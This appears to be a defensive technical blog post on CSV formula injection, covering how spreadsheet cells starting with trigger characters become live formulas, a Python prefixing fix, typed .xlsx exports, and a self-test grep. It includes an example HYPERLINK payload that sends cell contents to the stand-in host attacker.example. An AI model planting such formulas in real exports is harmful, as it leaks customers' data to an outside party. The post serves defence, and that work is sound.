Your product exports a CSV. A user typed something into a field months ago, it was stored safely, escaped correctly on every web page, and never caused a problem.
Then an administrator downloads the export and opens it in a spreadsheet, and the cell containing that value is not data any more. It is a formula, and it runs on their machine with their permissions.
This post is the mechanism and the fix, which is not where most people look for it. For whoever generates an export.
The mechanism
Spreadsheet applications treat a cell as a formula when its content begins with certain characters: =, +, -, @, and in some versions a leading tab or carriage return.
So a value stored as:
=HYPERLINK("https://attacker.example/?d="&A1&A2&A3,"Click for details")
is inert everywhere in your product. It renders as text on the page, it is escaped in your JSON, and your database is untouched. In a spreadsheet it becomes a live formula that can read other cells in the file and send their contents to a remote host when someone clicks it.
Historically the more severe versions involved dynamic data exchange and could launch processes, which modern versions restrict behind prompts. The prompts are the mitigation, and they are dismissed by people who expected to open a file from a system they trust.
The exfiltration variants are the ones that still work well, because a hyperlink or a web query is ordinary spreadsheet functionality, and the file contains exactly the data an attacker wants: your export, opened by an administrator.
Why the usual defences miss it
Input validation does not apply. =SUM(A1:A2) is a legitimate thing to type into a description field, and rejecting it breaks a real use case. The value is only dangerous in one output context.
Your web escaping is correct and irrelevant. HTML escaping makes the value safe in a page. CSV has no concept of it.
The vulnerability executes somewhere you do not control. It is your customer's machine, running their spreadsheet application, which is why it is easy to classify as not your problem. It is your export, containing your other customers' data, that carries it there.
It crosses tenants. In a multi-tenant product, one customer can place a payload in a field that appears in an export another party downloads. That is the case worth caring about.
The fix is at output
Prefix dangerous cells. Before writing a value, if it begins with one of the trigger characters, prefix it with a single quote or a space so the application treats it as text.
DANGEROUS = ("=", "+", "-", "@", "\t", "\r")
def csv_safe(value: str) -> str:
if value and value.startswith(DANGEROUS):
return "'" + value
return value
Two cautions. This must run on every field, including ones you think cannot contain user input, because fields acquire user input later. And it must run at the point of writing the file rather than in the model, or you have changed the data everywhere else.
Quote everything, and know it is not enough. Wrapping a field in double quotes is correct CSV and does not prevent formula evaluation. Quoting is about delimiters; formula detection happens after parsing.
Prefer a real spreadsheet format. Writing .xlsx with an explicit cell type is the clean answer. A cell declared as a string is a string, with no prefix character mangling the value and no dependence on the reader's behaviour. If your users are opening the file in a spreadsheet anyway, giving them the native format is better in every respect.
Where else this applies
The same reasoning applies to any output format with an active interpretation:
- Generated
.docxor.pdfwhere a field lands in a scripted context. - Log files opened in a spreadsheet, which people do constantly during investigations.
- Data pasted into a business intelligence tool.
- Anything exported for an auditor, who is a person you have just sent a file to.
The general shape: escaping is a property of the output context, and an export is an output context most teams never enumerated.
Check yours
# Put a payload in a field through your own product, then export.
# =1+1
# =HYPERLINK("https://example.com","click")
# @SUM(1+1)
# -2+3
# Open the CSV in a spreadsheet application and see what the cells contain.
grep -nE '^[^,]*,[[:space:]]*[=+@-]' export.csv | head
The grep tells you whether any cell begins with a trigger character. Opening the file tells you what your users will actually see, and that is the test worth doing once by hand.
The concession
Prefixing with an apostrophe changes the data. A user who legitimately stored -5 as a value sees '-5 in their export, and someone importing that file into another system gets a string where they expected a number. That is a genuine cost, and for exports used in automated pipelines it can be the more damaging outcome.
Which is the argument for the typed format. Where you must emit CSV, apply the prefix only to fields that can contain free text, leave numeric and date columns alone because they are generated by you rather than typed by a user, and document the behaviour so that whoever consumes the file is not surprised.
The implication
This is a bug class where your code is correct, your storage is correct, your web layer is correct, and a file you produced does something harmful on someone else's computer.
It is one function applied at one place in your export path. The reason it is still common is that the export path is written by whoever needed an export, and nobody reviews it as a place where escaping matters.